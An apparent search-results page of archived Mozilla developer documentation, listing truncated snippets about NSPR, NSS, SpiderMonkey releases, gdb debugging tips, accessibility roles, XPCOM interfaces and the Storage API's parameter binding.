...er technique that works with mobile machines and devices is to run a program for a long time and simply time how long it takes for the battery to drain. the long measurement times required are a disadvantage, though. power estimates the next best measurements come from recent (sandy bridge and later) intel processors that implement the rapl (running average power limit) interface that provides msrs containing energy consumption estimates for up to four power planes or domains of a machine, as seen in the diagram above. pkg: the entire package. pp0: the cores. pp1: an uncore device, usually the gpu (not available on all processor models.) dram: main memory (not available on all processor models.) the following relationship holds: pp0 + pp1 <= pkg. dram is independent of...
...And 3 more matches
About NSPR
tion, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and free) and shared library linking. history a good portion of the library's purpose, and perhaps the primary purpose in the gromit environment, was to provide the underpinnings of the java vm, more or less mapping the sys layer that sun defined for the porting of the java vm to various platforms. nspr went beyond that requirement in some areas and since it was also the platform independent layer for most of the servers produced by netscape. it was expected and preferred that existing code be restructured and perhaps even rewritten in order to use the nspr api. it is not a goal to provide a platform for the porting into netscape of externally developed code. at the time of writing the cu...
... but to exploit the best features of each operating system on which it runs, and still provide a uniform service across a wide range of host offerings. threads threads are the major feature of nspr. the industry's offering of threads is quite sundry. nspr, while far from perfect, does provide a single api to which clients may program and expect reasonably consistent behavior. the operating systems provide everything from no concept of threading at all up to and including sophisticated, scalable and efficient implementations. nspr makes as much use of what the systems offer as it can. it is a goal of nspr that nspr impose as little overhead as possible in accessing those appropriate system features. thread synchronization thread synchronization is loosely based on monitors as described by...
...ough it is possible to configure the network i/o channels as non-blocking in the traditional sense. network addresses part of nspr deals with manipulation of network addresses. nspr defines a network address object that is internet protocol (ip) centric. while the object is not declared as opaque, the api provides methods that allow and encourage clients to treat the addresses as polymorphic items. the goal in this area is to provide a migration path between ipv4 and ipv6. to that end it is possible to perform translations of ascii strings (dns names) into nspr's network address structures, with no regard to whether the addressing technology is ipv4 or ipv6. time timing facilities are available in two forms: interval timing and calendar functions. interval timers are based on a free run...
...And 3 more matches
Introduction to NSPR
by the underlying operating system. therefore, priorities are not rigidly defined. for more information, see thread scheduling. in general, it's preferable to create local user threads with normal priority and let nspr take care of the details as appropriate for each host os. it's usually not necessary to create a global thread explicitly unless you are planning to port your code only to platforms that provide threading services with which you are familiar or unless the thread will be executing code that might directly call blocking os functions. threads can also have "per-thread-data" attached to them. each thread has a built-in per-thread error number and error string that are updated when nspr operations fail. it's also possible for nspr clients to define their own per-thread-data. for...
...heduling nspr threads are scheduled by priority and can be preempted or interrupted. the sections that follow briefly introduce the nspr approach to these three aspects of thread scheduling. setting thread priorities preempting threads interrupting threads for reference information on the nspr api used for thread scheduling, see threads. setting thread priorities the host operating systems supported by nspr differ widely in the mechanisms they use to support thread priorities. in general, an nspr thread of higher priority has a statistically better chance of running relative to threads of lower priority. however, because of the multiple strategies to provide execution vehicles for threads on various host platforms, priorities are not a clearly defined abstraction in nspr. at best t...
...ontrol to another appropriate thread. it might be viewed as taking the executing thread and adding it to the end of the ready queue for its appropriate priority, then simply running the scheduling algorithm to find the most appropriate thread. the chosen thread may be of higher priority, of the same priority, or even the same thread. it will not be a thread of lower priority. some operating systems cannot be made preemptable (for example, mac os and win 16). this puts them at some risk in supporting arbitrary code, even if the code is interpreted (java). other systems are not thread-aware, and their runtime libraries not thread-safe (most versions of unix). these systems can support local level thread abstractions that can be made preemptable, but run the risk of library corruption (libc). ...
...And 3 more matches
NSS 3.12.4 release notes
need be escaped between brackets. unnecessary escaping is permitted. [a-z] matches any character between a and z, inclusive. the two range-definition characters must be alphanumeric ascii. if one is upper case and the other is lower case, then the ascii non-alphanumeric characters between z and a will also be in range. [^a-z] matches any character except those between a and z, inclusive. these forms cannot be combined, e.g [a-gp-z] does not work. exclusions: as a top level, outter-most expression only, the expression foo~bar will match the expression foo, provided it does not also match the expression bar. either expression or both may be a union. except between brackets, any unescaped ~ is an exclusion. at most one exclusion is permitted. exclusions cannot be nested (contain other exclusion...
...re escaping. new functions in the nss shared library: pk11_isinternalkeyslot (see pk11pub.h) secmod_opennewslot (see pk11pub.h) new error codes (see secerr.h): sec_error_bad_info_access_method sec_error_crl_import_failed new oids (see secoidt.h) sec_oid_x509_any_policy the nssckbi pkcs #11 module's version changed to 1.75. obsolete code for win16 has been removed. ...
....h) sec_oid_x509_any_policy the nssckbi pkcs #11 module's version changed to 1.75. obsolete code for win16 has been removed. support for openvms has been removed. bugs fixed the following bugs have been fixed in nss 3.12.4. ...
...And 3 more matches
Hacking Tips
e 3 #3 0x000000000083317f in js::jit::optimizemir(js::jit::mirgenerator*) (mir=0x33dbdf0) at …/js/src/jit/ion.cpp:1570 (gdb) iongraph mir function 0 (asm.js compilation): success; 1 passes. /* open your png viewer with the result of iongraph */ this gdb instrumentation is supposed to work with debug builds, or with optimized build compiled with --enable-jitspew configure flag. external programs such as iongraph, dot, and your png viewer are search into the path, otherwise custom one can either be configured with environment variables (gdb_iongraph, gdb_dot, gdb_pngviewer) before starting gdb, or with gdb parameters (set iongraph-bin <path>, set dot-bin <path>, set pngviewer-bin <path>) within gdb. enabling gdb instrumentation may require launching a js shell executable that shares a d...
...eak 'mozilla::dom::canvasrenderingcontext2d::drawwindow(nsglobalwindow&, double, double, double, double, nsastring_internal const&, unsigned int, mozilla::errorresult&)' cont break 'presshell::renderdocument(nsrect const&, unsigned int, unsigned int, gfxcontext*)' set print object on set $x = <your x value> set $y = <your y value> print &((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).data[$y * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).stride + $x * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).depth / 8] watch *(char*)<address of previous command> (note: if you set a watch on the previous expression gdb will watch the expression and run out of watchpoint) rr with emacs within emacs, do m-x gud-gdb and replace the command...
...debugger for mirgraph, mbasicblock, and mdefinition and its subclasses (minstruction, mconstant, etc.), call the dump member function. (gdb) call graph->dump() (gdb) call block->dump() (gdb) call def->dump() benchmarking without a phone if you do not have a mobile device or prefer to test on your desktop first, you will need to downgrade your computer such as it is able to run programs as fast as-if they were running on a phone. on linux, you can manage the resources available to one program by using cgroup, and to do you can install libcgroup which provides some convenient tools such as cgexec to wrap the program that you want to benchmark. the following list of commands is used to create 3 control groups. the top-level control group is just to group the mask and the negate-...
...And 3 more matches
SpiderMonkey 1.8.5
s es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. —22 march 2011 platform support spidermonkey 1.8.5 is supported on all the platforms where firefox 4 runs. spidermonkey 1.8.5 includes a just-in-time compiler (jit) (several, actually) that compiles javascript to machine code, for a significant speed increase. it is supported only on x86, x86_64 and arm architectures. on other platforms, the jit is simply disabled; javascript code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating...
... the old build system (using makefile.ref) is no longer supported. ...
...runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 1.8 the following features in earlier versions of spidermonkey have been dropped. support for extended class methods (in particular, jsequalityop) has been removed. multithreaded js programs that race against the same objects are now explicitly not supported. multithreaded programs are allowed, but each thread must operate on objects in a separate compartment, isolated from the other threads. the old build system (using makefile.ref) is no longer supported. spidermonkey 1.8.5 includes a new configure-based build system, introduced shortly after active development on the engine moved from cvs to mercurial. spidermonkey 1.8.5 is not binary-compatible with previous releases,...
...And 3 more matches
SpiderMonkey 17
the mozilla javascript team is pleased to announce the release of spidermonkey 17. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz (md5 checksum: 20b6f8f1140ef6e47daa3b16965c9202). spidermonkey 17 is the javascript engine that shipped in firefox 17. ...
...rence to enable faster jitted code. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. ...
...it's the same language, just not as fast. ...
...And 3 more matches
SpiderMonkey 24
gine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. ...
...nkey 24 is supported on all the platforms where firefox 24 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. (this change was motivated by garbage collector improvements, which lean quite heavily on c++'s support for raii through constructors and destructors.) if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped. spidermonkey 24 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. ...
...it's the same language, just not as fast. migrating to spidermonkey 24 spidermonkey now provides a fully c++ interface, so embedders relying on embeddability in c projects will have to convert to c++, or implement their own adapter code. ...
...And 3 more matches
SpiderMonkey 45
i features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. you may wish to make the bugs block bug 837921 (aliased as "sm.embedding"). — apr 14, 2016 platform support spidermonkey 45 is supported on all platforms able to run firefox 45. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note the minimum supported version is msvc 2013. spidermonkey 45 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. ...
...it's the same language, just not as fast. ...
...it's the same language, just not as fast. migrating to spidermonkey 45 spidermonkey 45 is not binary-compatible with previous releases, nor is it source-code compatible. ...
...And 3 more matches
Gecko object attributes
markup tag used to create this element (also used in xul). applied to: any role xml-roles if a dynamic content accessibility role string is used, it is exposed here. this may provide more information than the mapped role, which is best-fit. the role string may be a space-delimited list of roles. applied to: any role group attributes level for headings, the heading level. for outline items, the indentation level. for diagrams with levels, each item can have its level specified. the level value is 1-based. applied to: grid, heading, listitem, row, tablist exposed in aria: aria-level posinset if this item is in a group, what is the item number within the group, where the size is defined by the setsize attribute. the first item should have posinset="1", and the last item should ha...
...osed in aria: aria-level posinset if this item is in a group, what is the item number within the group, where the size is defined by the setsize attribute. the first item should have posinset="1", and the last item should have a posinset value equal to the setsize. applied to: listitem, option exposed in aria: aria-posinset setsize if this item is in a group, this indicates the number of items in the group. this is useful when combined with the posinset object attribute. applied to: listitem, option exposed in aria: aria-setsize live region attribues atomic true when the entire region should be presented as a whole, when changes within it are considered important enough to automatically present. applied to: any role exposed via aria: aria-atomic live a hint as to whether ch...
... role exposed in aria: aria-live relevant space delimited string with keywords describing what kinds of changes in the subtree are informational, as opposed to presentational. if not specified, the default should be considered "additions text", which indicates that newly created objects and changes to text and text equivalents should be considered relevant, and that the hiding or removal of items is not. please see the aria states and properties module for more information. exposed in aria: aria-relevant container-atomic is this change inside a region that should always be presented at once. if yes, member-of relation will point to the root of the region. see the live region support for more information. container-busy the current changes are not yet complete. a state change event fo...
...And 3 more matches
Gecko Roles
« at apis support page this page offers a list of accessible roles used in gecko. role constants are defined in the nsiaccessiblerole interface. role_nothing used when the accessible item doesn't have a strongly defined role. role_titlebar represents a title or caption bar for a window. used by msaa only, this is supported automatically by microsoft windows. role_menubar represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on mac os x) from which menus are selected by the user. role_scrollbar represents a vertical or horizontal scroll bar, which is part of the client area or used in a control. role_grip represents a special mouse pointer, which allows a user to manipulate user int...
...at the mouse cursor position. role_application represents a main window for an application. role_document represents a document window. a document window is always contained within an application window. role_pane represents a pane within a frame or document window. users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls. role_chart represents a graphical image used to represent data. role_dialog represents a dialog box or message box. role_border represents a window border. role_grouping logically groups other objects. role_separator used to vi...
... might look like text or a graphic, but it acts like a button. role_helpballoon displays a help topic in the form of a tooltip or help balloon. role_character represents a cartoon-like graphic object, such as microsoft office assistant, which is displayed to provide help to users of an application. role_list represents a list box, allowing the user to select one or more items. role_listitem represents an item in a list. role_outline represents an outline or tree structure, such as a tree view control, that displays a hierarchical list and allows the user to expand and collapse branches. role_outlineitem represents an item in an outline or tree structure. role_pagetab represents a page tab, it is a child of a page tab list. role_prop...
...And 3 more matches
Detailed XPCOM hashtable guide
hashtables may seem like arrays, but there are important differences: array hashtable keys: integer: arrays are always keyed on integers, and must be contiguous. ...
...hashtables may seem like arrays, but there are important differences: array hashtable keys: integer: arrays are always keyed on integers, and must be contiguous. ...
...h keys 1, 5, and 3000). lookup time: o(1): lookup time is a simple constant o(1): lookup time is mostly-constant, but the constant time can be larger than an array lookup sorting: sorted: stored sorted; iterated over in a sorted fashion. unsorted: stored unsorted; cannot be iterated over in a sorted manner. inserting/removing: o(n): adding and removing items from a large array can be time-consuming o(1): adding and removing items from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space. some: hashtables are not packed structures; depending on the implementation, there may be significant wasted memory. in their implementation, hashtables take the key and apply a mathema...
...And 3 more matches
mozIStorageStatement
ing getparametername(in unsigned long aparamindex); unsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingparamsarray aparameters); mozistoragebindingparamsarray newbindingparamsarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue); void bindstringparameter(in unsigned long aparamindex, in astring avalue); void binddoubleparameter(in unsigned long aparamindex, in double avalue); void bindint32parameter(in unsigned long apara...
... mozistoragependingstatement executeasync(mozistoragestatementcallback acallback); boolean executestep(); boolean step(); void execute(); attributes attribute type description columncount unsigned long number of columns returned. read only. parametercount unsigned long number of parameters. read only. params mozistoragestatementparams the current list of named parameters, which may be set. only available to javascript code. read only. row mozistoragestatementrow the current row, with access to all data members by name. available only to javascript code. read only. state long the current state defined by mozistoragestatement.moz_storage_statement_invalid, mozistor...
...; parameters avalue string to escape for sql like. aescapechar the escape character to use. generally, / will be sufficient. return value an utf-16 encoded string that has characters that have special meaning escaped from avalue. ...
...And 3 more matches
nsIAccessNode
ementations are instantiated lazily. the nsiaccessnode tree for a given dom window has a one to one relationship to the dom tree. if the dom node for this access node is "accessible", then a queryinterface to nsiaccessible will succeed. ...
...ated lazily. the nsiaccessnode tree for a given dom window has a one to one relationship to the dom tree. if the dom node for this access node is "accessible", then a queryinterface to nsiaccessible will succeed. ...
... for a given dom window has a one to one relationship to the dom tree. if the dom node for this access node is "accessible", then a queryinterface to nsiaccessible will succeed. method overview nsiaccessnode getchildnodeat(in long childnum); obsolete since gecko 2.0 nsidomcssprimitivevalue getcomputedstylecssvalue(in domstring pseudoelt, in domstring propertyname); domstring getcomputedstylevalue(in domstring pseudoelt, in domstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinatetype, in long ax, in long ay); attributes note: attempting to access the attributes of a node that is unattached from the accessible tree will result in an exception - ns_error_failure. attr...
...And 3 more matches
nsIDBFolderInfo
nsidbfolderinfo - careful, pulled from the wrong (cvs) repo! mailnews/db/msgdb/public/nsidbfolderinfo.idlscriptable ??? add brief description of interface ??? inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: ?????????????????????????????????????. to create an instance, use: implemented by: ????????????????????????????????????? as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages...
...obsolete since gecko 1.8 void setmailboxname(in nsstring newboxname); native code only! obsolete since gecko 1.8 void setproperty(in string propertyname, in astring propertystr); void setuint32property(in string propertyname, in unsigned long prop...
...wboxname); native code only! ...
...And 3 more matches
nsIDOMOfflineResourceList
cludes methods for adding resources to and removing resources from the cache, as well as for enumerating the dynamically managed resource list. dom/interfaces/offline/nsidomofflineresourcelist.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapcache(); void update(); attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list. read only.
... downloading 3 resources are being downloaded to be added to the cache. updateready 4 there is a new version of the application cache available. obsolete 5 the application cache group is now obsolete. methods mozadd() adds an item to the dynamically managed entries. the resource will be fetched and added to the application cache. ...
...ally managed entries. the resource will be fetched and added to the application cache. void mozadd( in domstring uri ); parameters uri the uri of the resource to add to the list. mozhasitem returns a boolean value indicating whether or not the specified uri represents a resource that's in the application cache's list. note: this method has been deprecated. you should use the mozitems attribute instead. void mozhasitem( in domstring uri ); parameters uri the uri of the resource to check. return value true if the resource is in the list, otherwise false. mozitem returns the uri of the item at the specific offset into the list of cached resources. ...
...And 3 more matches
nsIDOMWindowUtils
...
...th and string of result are also computed with native line breaks. query_content_flag_use_xp_line_break 0x0001 one of values of aadditionalflags of sendquerycontentevent(). this flag must not be set with query_content_flag_use_native_line_break. when this is set, the aoffset and alength are offset and length in/of the content generated with xp line breaks (i.e., "\n" on all platforms). additionally, the offset, length and string of result are also computed with xp line breaks. this is more useful for javascript in chrome. query_content_flag_selection_spellcheck 0x0002 one of values of aadditionalflags of sendquerycontentevent(). query_content_flag_selection_ime_rawinput 0x0008 one of values of aadditionalflags of sendquerycontentevent(). ...
...ontent generated with native line breaks (e.g., "\r\n" on windows) selection_set_flag_use_xp_line_break 0x0001 one of values of aadditionalflags of sendselectionsetevent(). this flag must not be set with selection_set_flag_use_native_line_break. when this is set, the aoffset and alength are offset and length in/of the content generated with xp line breaks (i.e., "\n" on all platforms). this is more useful for javascript in chrome selection_set_flag_reverse 0x0002 one of values of aadditionalflags of sendselectionsetevent(). if this is set, the selection is set from aoffset + alength to aoffset. select_character 0 select_cluster 1 select_word 2 select_line 3 select_beginline 4 ...
...And 3 more matches
nsIDOMXULSelectControlItemElement
dom/interfaces/xul/nsidomxulselectcntrlitemel.idlscriptable please add a summary to this article. ...
... dom/interfaces/xul/nsidomxulselectcntrlitemel.idlscriptable please add a summary to this article. ...
... dom/interfaces/xul/nsidomxulselectcntrlitemel.idlscriptable please add a summary to this article. ...
...And 3 more matches
getFile
is lets the directory service cache results to improve the performance of directory lookups. if false, then the directory service will not cache the results of this method. symbolic names the list of symbolic names is subject to change, so be sure to take a look at the xpcom/io/nsdirectoryservicedefs.h file for the version of gecko you're working with for the latest list. available on all platforms these symbolic names are available on all platforms (although, of course, they may refer to different physical paths on the storage device). c constant string value notes ns_os_home_dir "home" ns_os_temp_dir "tmpd" ns_os_current_working_dir "curworkd" ns_os_desktop_dir "desk" otherwise same as home ns_os...
...ns_os_home_dir "home" ns_os_temp_dir "tmpd" ns_os_current_working_dir "curworkd" ns_os_desktop_dir "desk" otherwise same as home ns_os_current_process_dir "curprocd" ns_xpcom_current_process_dir "xcurprocd" can be overriden by passing a "bin directory" to ns_initxpcom2(). ns_xpcom_component_dir "comsd" ns_xpcom_component_dir_list "comsdl" ns_xpcom_component_registry_file "comregf" ns_xpcom_xpti_registry_file "xptiregf" ns_xpcom_library_file "xpcomlib" ns_gre_dir "gred" note: on mac os x, up through firefox 34 this is the contents/macos directory within the application's bundle. starting with fir...
...r "gred" note: on mac os x, up through firefox 34 this is the contents/macos directory within the application's bundle. starting with firefox 35, this is contents/resources. this change was required in order to comply with apple's new gatekeeper v2 rules; without this change, firefox would not work on any mac os x newer than 10.9.4. ns_gre_component_dir "grecomsd" platform-specific locations some symbolic names represent platform-specific locations. the following sections cover these. available on both mac and unix these locations are available on both mac os x and unix implementations of gecko. c constant string value notes ns_os_system_dir "sysd" available on mac os x only these locations are support...
...And 3 more matches
nsIHTMLEditor
tdent); void getinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); astring getinlinepropertywithattrvalue(in nsiatom aproperty, in astring aattribute, in astring avalue, out boolean afirst, out boolean aany, out boolean aall); nsisupportsarray getlinkedobjects(); void getlistitemstate(out boolean amixed, out boolean ali, out boolean adt, out boolean add); void getliststate(out boolean amixed, out boolean aol, out boolean aul, out boolean adl); astring getparagraphstate(out boolean amixed); nsidomelement getselectedelement(in astring atagname); nsidomelement getselectioncontainer(); void ignorespuriousdragevent(in boolean aignore...
...an adeleteselection); void insertlinkaroundselection(in nsidomelement aanchorelement); boolean isanonymouselement(in nsidomelement aelement); void makeorchangelist(in astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocumentfromsource(in astring asourcestring); void removealldefaultproperties(); void removeallinlineproperties(); void removedefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in a...
... aattribute avalue afirst aany aall return value getlinkedobjects() find all the nodes in the document which contain references to outside uris (for example a href, img src, script src, and so on.) the objects in the array will be type nsiurirefobject. nsisupportsarray getlinkedobjects(); parameters none. return value anodelist the linked nodes found. getlistitemstate() getlistitemstate returns what list item type is in the selection. void getlistitemstate( out boolean amixed, out boolean ali, out boolean adt, out boolean add ); parameters amixed true if there is more than one type of list item, or if there is some list and non-list. ali true if "li" list items are selected. adt true if "dt" list items are selected. add true if "dd" l...
...And 3 more matches
nsINavHistoryQueryOptions
e root container node generated by these options and all of its descendant containers are opened asynchronously if they support doing so. by default, this is false. note: currently, only bookmark folder containers support being opened asynchronously. excludeitemifparenthasannotation obsolete since gecko 13.0 autf8string this option excludes items from a bookmarks query if the parent of the item has this annotation. an example is to exclude livemark items (parent folders have the "livemark/feeduri" annotation). ignored for queries over history. excludeitems boolean this option excludes all uris and separators from a bookmarks query. this would be used if you just wanted a list of bookmark folders and queries (su...
...igned for cases where you want to give the user the option of filing something into a list of folders. it only affects cases where the actual folder result node would appear in its parent folder and filters it out. it doesn't affect the query at all, and doesn't affect more complex queries (such as "folders with annotation x"). expandqueries boolean when set, allows items with "place:" uris to appear as containers, with the container's contents filled in from the stored query. if not set, these will appear as normal items. doesn't do anything if excludequeries is set. defaults to false. note that this has no effect on folder links, which are place: uris returned by nsinavbookmarkservice's getfolderuri method. these are always expanded and will appear as bo...
...does nothing for bookmark queries. ...
...And 3 more matches
nsISelection
void collapsetoend(); void collapsetostart(); boolean containsnode(in nsidomnode node, in boolean partlycontained); void deletefromdocument(); void extend(in nsidomnode parentnode, in long offset); void extendnative(in nsidomnode parentnode, in long offset); native code only! ...
...d(); void collapsetostart(); boolean containsnode(in nsidomnode node, in boolean partlycontained); void deletefromdocument(); void extend(in nsidomnode parentnode, in long offset); void extendnative(in nsidomnode parentnode, in long offset); native code only! ...
...read...
...And 3 more matches
nsIWebContentHandlerRegistrar
nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a service: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); method overview void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring protocol,in domstring uri, in domstring title, in nsidomwindow contentwindow) methods registercontenthandler summary of registercontenthandler void registercontenthandler( in domst...
... title the title of the handler presented to the user as a string. contentwindow the dom content window from which the method has been called. ...
...ring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring protocol,in domstring uri, in domstring title, in nsidomwindow contentwindow) methods registercontenthandler summary of registercontenthandler void registercontenthandler( in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow ); parameters mimetype the desired mime type as a string uri the uri to the handler as a string. title the title of the handler presented to the user as a string. contentwindow the dom content window from which the method has been called. ...
...And 3 more matches
XPCOM reference
ou should be using. see the xpcom internal string guide for documentation of the internal string api used within the mozilla codebase. core xpcom functionsxpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.foldersthe folder classes all implement the nsimsgfolder interface. there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and nsnewsfolder. they all inherit from nsmsgdbfolder, which implements a lot of the core functionality. rss feeds are implemented by nslocalmailfolder.ns ensure successmacrons ensure truemacrons_abort_if_falsethis was removed in bug 1127201ns_addrefmacrons_assertionmacrons_ensure_arg_pointermacrons_...
..._warningmacronsgetmoduleprocthis function prototype provides the xpcom entry-point into a module.nsiabcard/thunderbird3the nsiabcard interface is used to represent and manipulate cards in the address book. in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you ...
...efined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages. equivalent flags are also defined in nsmsgmessageflags.h. nsmsgnavigationtypethe nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call:nsmsgsearchopvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl nsmsgviewcommandcheckstatethe nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird. it is (as far as i can tell) not currently used anywhere in thunderbird.nsmsgviewcommandtypethe nsmsgviewcommandtype interface contains constants used for commands in thunderbird. for...
...And 3 more matches
Storage
y to construct sql statements on the fly with values inserted in them. by binding the parameters, you prevent possible sql injection attacks since a bound parameter can never be executed as sql. binding one set of parameters if you only have one row to insert, or are using the synchronous api you'll need to use this method. in javascript, there is a useful helper object (mozistoragestatementparams) available () that makes binding parameters much easier: var statement = dbconn.createstatement("select * from table_name where id = :row_id"); statement.params.row_id = 1234; use :boundparametername the same way for numeric and non-numeric columns. do not put the :boundparametername within apostrophes, because that the binding mechanism does that for you. you can still use this helper object ...
...re named parameters are much easier to use. binding multiple sets of parameters starting in gecko 1.9.2 (firefox 3.6), there's a new, more convenient way to bind multiple sets of parameters at once prior to executing your statement asynchronously. this api is only available for asynchronous execution. ...
...much easier to use. binding multiple sets of parameters starting in gecko 1.9.2 (firefox 3.6), there's a new, more convenient way to bind multiple sets of parameters at once prior to executing your statement asynchronously. this api is only available for asynchronous execution. let stmt = dbconn.createstatement("insert into table_name (value) values(:value)"); let params = stmt.newbindingparamsarray(); for (let i = 0; i < 10; i++) { let bp = params.newbindingparams(); bp.bindbyname("value", i); params.addparams(bp); } stmt.bindparameters(params); you can attach multiple sets of bindings to a statement by adding multiple mozistoragebindingparams objects to the array of parameter lists, adding each one through calls to the mozistoragebindingparamsarray.addparams(). once all the pa...
...And 3 more matches
Xptcall Porting Guide
overview xptcall is a library that supports both invoking methods on arbitrary xpcom objects and implementing classes whose objects can impersonate any xpcom interface. it does this using platform specific assembly language code. this code needs to be ported to all platforms that want to support xptcall (and thus mozilla). ...
...). the tree mozilla/xpcom/reflect/xptcall +--public // exported headers +--src // core source | \--md // platform specific parts | +--mac // mac ppc | +--unix // all unix | \--win32 // win32 | +--test // simple tests to get started \--tests // full tests via api porters are free to create subdirectories under the base md directory for their given platforms and to integrate into the build system as appropriate for their platform. theory of operation there are really two pieces of functionality: invoke and stubs... the invoke functionality requires the implementation of the following on each platform (from xptcall/public/xptcall.h): xptc_public_api(nsresult) ns_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramc...
...e build system as appropriate for their platform. theory of operation there are really two pieces of functionality: invoke and stubs... the invoke functionality requires the implementation of the following on each platform (from xptcall/public/xptcall.h): xptc_public_api(nsresult) ns_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramcount, nsxptcvariant* params); calling code is expected to supply an array of nsxptcvariant structs. these are discriminated unions describing the type and value of each parameter of the target function. the platform specific code then builds a call frame and invokes the method indicated by the index methodindex on the xpcom interface that. here are examples of this implementation for win32 and linux x86, netbsd x86, and fr...
...And 3 more matches
Xptcall Porting Status
font color="white">done</font> bsd/os x86 bert driehuis <bert_driehuis@nl.compuware.com> unix (same as linux 86 code) bert contributed patches that *should* do the right thing for all the unixish-x86 versions of this code for gcc 2.7 or 2.8 vs. egcs 1.1. he notes that the vtbl scheme is different. he is hoping that others will help test the changes using these two compilers on the various platforms where this same code is used. bert's details <font color="white">done</font> mac ppc roger lawrence <rogerl@netscape.com>, patrick beard <beard@netscape.com> mac (passing tests and checked in) <font color="white">done</font> solaris sparc roger lawrence <rogerl@netscape.com>, chris mcafee <mcafee@netscape.com> unix this is checked in and working. <font color="white">done</font> solaris ...
...rick beard <beard@netscape.com> mac (passing tests and checked in) <font color="white">done</font> solaris sparc roger lawrence <rogerl@netscape.com>, chris mcafee <mcafee@netscape.com> unix this is checked in and working. ...
...rking. <font color="white">done</font> solaris sparc v9 (64bit) stuart parmenter <pavlov@netscape.com>, chris seawood <cls@seawood.org> unix this is checked in and (pavlov claims!) working. <font color="white">done</font> os/2 john fairhurst <mjf35@cam.ac.uk> i never heard exactly who did what. but mozilla has been working on os/2 for a long time now. <font color="white">done</font> openvms alpha colin r. blake <colin@theblakes.com> colin says this is passing all the tests on openvms alpha! <font color="white">done</font> nt alpha bob meader <bob@guiduck.com> bob writes: enclosed is xptcall for alpha/nt target.. it is a variation of the iris port (only targeted for win32). notice the last 2 files (the change to mozilla\xpcom\build\makefile.win and mozilla\xpcom\build) are needed...
...And 3 more matches
Using the Multiple Accounts API
